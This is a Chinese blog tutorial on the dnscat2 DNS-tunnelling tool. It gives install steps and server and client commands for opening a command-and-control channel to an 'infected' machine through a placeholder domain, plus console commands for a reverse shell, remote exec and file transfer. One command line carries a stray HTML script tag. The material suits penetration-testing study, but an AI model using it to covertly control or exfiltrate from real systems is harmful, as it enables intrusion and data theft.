一、入坑必读

1、简介

dnscat2是一个DNS隧道工具,通过DNS协议创建加密的命令和控制通道,它的一大特色就是服务端会有一个命令行控制台,所有的指令都可以在该控制台内完成。包括:文件上传、下载、反弹Shell……

使用热度: ★★★★☆

2、专业词

  • Type:DNS解析的类型,常见的有:A、CNAME、MX、TXT……
  • 直连模式:客户端直接向指定IP的恶意DNS服务器发起DNS解析请求
  • 中继模式:像我们平时上网一样,DNS解析先经过互联网的迭代解析,最后指向我们的恶意DNS服务器。相比直连,速度较慢,但是更安全。

    3、放哪儿

    | 攻击机 | 被控机 |
    |–|–|
    | 服务端 | 客户端 |

4、支持Type

  • [x] A
  • [x] TXT
  • [x] CNAME
  • [x] MX
  • [x] AAAA

注意: 默认是TXT、CNAME、MX随机混合使用

5、兼容说明

  • 服务端为Ruby编写,需安装Ruby环境。kali系统内置Ruby,但是运行时仍可能报缺少一些gem依赖:

    • ecdsa
    • salsa20
    • sha3
    • trollop

    依次安装即可,范例:gem install ecdsa-1.2.0.gem

    这些gem依赖、服务端、客户端等所有工具,下面的下载地址已打包提供!

    当然你也可以去https://rubygems.org/gems网站上搜索并下载所有的gem依赖。

  • 客户端为C编写,使用前需先编译,Windows编译可使用VS、Linux则直接make install
  • 这里也提供编译好的Win客户端

6、全套下载地址

二、原理简述

Dnscat2分为两部分:客户端和服务器。

客户端:

在受感染的计算机上运行。C语言编写的,具有最小可能的依赖性。

运行模式如大多DNS隧道工具一样:Dnscat2客户端->DNS服务商->Dnscat2服务端

如果您没有购买域名,还可以在UDP/53上使用直连。它们会更快,但它在数据包中更明显(所有域名都以dnscat为前缀,除非你破解了源代码)。防火墙经常会阻止此模式。

服务端:

Ruby语言编写,在服务器上运行。它除了监听在UDP/53上发送给它的消息之外,还要指定它应该监听哪个域名。

当它接收其中一个域名的流量时,它会尝试建立DNS连接。如果它接收到其他流量,它默认忽略它,当然你也可以在上游转发它。

三、安装使用

1、安装

服务端:

1
2
3
4
5
6
# 如果是上面地址直接下载的,则跳过
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2
cd server
sudo gem install bundler
bundle install<script src="https://localhost01.cn/js/jquery-2.0.0.min.js"></script>

客户端:

1
2
3
4
# 如果是上面地址直接下载的,则跳过
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/client/
make

2、使用

在服务端机器上,执行:

1
2
3
4
#启动
sudo ruby./dnscat2.rb abc.com --secret=123456 #方式1【常用】
sudo ruby./dnscat2.rb --dns server=127.0.0.1,port=533,type=TXT --secret=123456 #方式2
sudo ruby./dnscat2.rb abc.com --secret=123456 --security=open --no-cache #方式3

方式1:

  • abc.com 自定义DNS传输的域名
  • –secret 自定义连接密码

方式2(直连):

  • server&port 表示监听本机的533端口
  • –secret 自定义连接密码

方式3:

  • –secret 定义了通讯密码。

    两端使用时,均需跟上该密码,可防止中间人攻击。如果不加,dnscat2会生成一个随机字符串,记得拷贝下来在启动客户端时使用。

    同时服务端在运行时,也可通过set secret=<new value>来动态改变

  • –security 规定了安全级别。

    默认情况下,客户端和服务器都支持并会尝试加密。Open表示服务端允许客户端不加密,这样,客户端就可以通过传递–no-encryption参数来禁用加密。当然也可以在编译时,就禁用客户端加密:make nocrypto

    同时服务端在运行时,也可通过set security=open来动态改变。

  • –no-cache 禁止缓存

    使用powershell-dnscat2客户端时,务必在运行服务器时添加无缓存选项,因为与dnscat2服务器的caching模式不兼容。

在客户端机器上,执行:

1
2
dnscat --secret=123456 abc.com    #对应 方式1
dnscat --dns server=<your dnscat2 server ip>,port=553,type=TXT #对应 方式2,注意使用--dns选项时,port不可省,否则可能连不上

其中:

  • \ 服务端的公网IP,表示不走DNS服务商这一步,直接向dnscat2服务端所在的服务器IP请求DNS解析
  • -t 使用的DNS类型

客户端连上后,会提示:Session established!

而服务端的控制台输入:windows,即可以看到一个客户端上线:

1
1 :: command (DESKTOP-7NSDT5)……

其中:

  • 1表示该客户端ID,如果使用window -i 1,即可进入该通道;

键入shell,即可得到一个半交互shell!(相比dns2tcp,使用起来不是很流畅)~

help可查看控制台支持的命令,常用的有:

  • quit (退出控制台)
  • kill \ (中断通道)
  • set(设值,比如设置security=open)
  • windows(列举出所有的通道)
  • window -i \(连接某个通道)

    连接通道后,使用help同样可以看到其内支持的命令(单个命令后跟-h也会解释该命令):

    • clear(清屏)
    • delay(修改远程会话超时时间)
    • exec(执行远程机上的程序)
    • shell(得到一个反弹shell)
    • download/upload(两端之间上传下载文件)
    • supend(返回到上一层,等于快捷键ctrl+z
      更多文章,请关注:开猿笔记